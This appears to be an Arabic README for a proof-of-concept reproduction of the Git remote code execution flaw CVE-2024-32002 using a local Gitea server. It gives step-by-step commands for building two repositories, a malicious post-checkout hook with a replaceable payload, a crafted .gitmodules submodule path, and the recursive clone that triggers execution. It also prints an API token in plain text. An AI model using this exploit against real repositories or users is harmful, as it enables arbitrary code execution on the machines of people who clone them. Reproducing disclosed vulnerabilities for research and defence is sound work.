
بيئة إعادة إنتاج محلية لاستغلال Git RCE CVE-2024-32002 باستخدام Gitea، مع حقن حمولة مخصصة عبر خطافات ما بعد السحب وتجاوز مسار الوحدة الفرعية.
نتبع منشور المدونة هذا ولكن مع بعض الاختلافات الرئيسية https://amalmurali.me/posts/git-rce
git_rce) يتضمن وحدة فرعية بمسار مصمم خصيصًا..git/ الخاص بها، والذي يحتوي على خطاف خبيث.⚠️ تحذير: لا تقم بتشغيل هذا الإثبات على أنظمة لا تملكها أو ليس لديك إذن صريح لاستخدامها. الاختبار غير المصرح به قد يؤدي إلى عواقب غير مقصودة.
نحتاج إلى إنشاء رمز API لـ Gitea يمكن العثور عليه في http://<YOUR_GITEA_SERVER_IP>:3000/user/settings/applications
لقد أعطيت الرمز وصولًا لكل شيء للتأكد من أن كل شيء يعمل
ثم يمكننا تشغيل poc.sh الخاص بنا مع التأكد من توفير المعلومات المطلوبة مثل عنوان IP والمنفذ لخادم Gitea واسم المستخدم والرمز لإنشاء المستودعات
Enter the IP address or FQDN (without http://): localhost:3000
Enter your username: chris
Enter your API token: 3c57dbe1756734612f457b1fa08583df64fb5ea4
Enter the name for the first repository: hook
Enter the name for the second repository: main
أيضًا نحتاج إلى تعديل الأسطر من 42 إلى 46 لتضمين الحمولة
# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
calc.exe #or replace with other poc
EOF
هناك خطوة إضافية واحدة: يجب أن نذهب إلى ملف .gitmodules من المستودع main إلى المستودع hook. لقد ذهبت يدويًا إلى المستودع في Gitea وقمت بتغيير الملف

ثم قمت بذلك
[submodule "x/y"]
path = A/modules/x
url = http://<your_git_tea_server>:3000/chris/hook.git
مع التأكد من أنه عندما أذهب إلى A/modules يمكنني رؤية شيء مثل هذا

ثم النقر على هذا الالتزام يجب أن يُظهر المستودع الآخر مع محتوى الإثبات عند النقر عليه
ثم يمكننا أخذ عنوان URL الخاص بنا ويجب أن يعمل هذا لتفعيل الاستغلال
git clone --recursive http://<your_git_tea_server>:3000/<your_user_name>/main.git
شكرًا لـ filip-hejsek وamalmurali47 لاكتشاف هذه الثغرة الأمنية ولديهما منشور مدونة ومستودع للتكيف منه.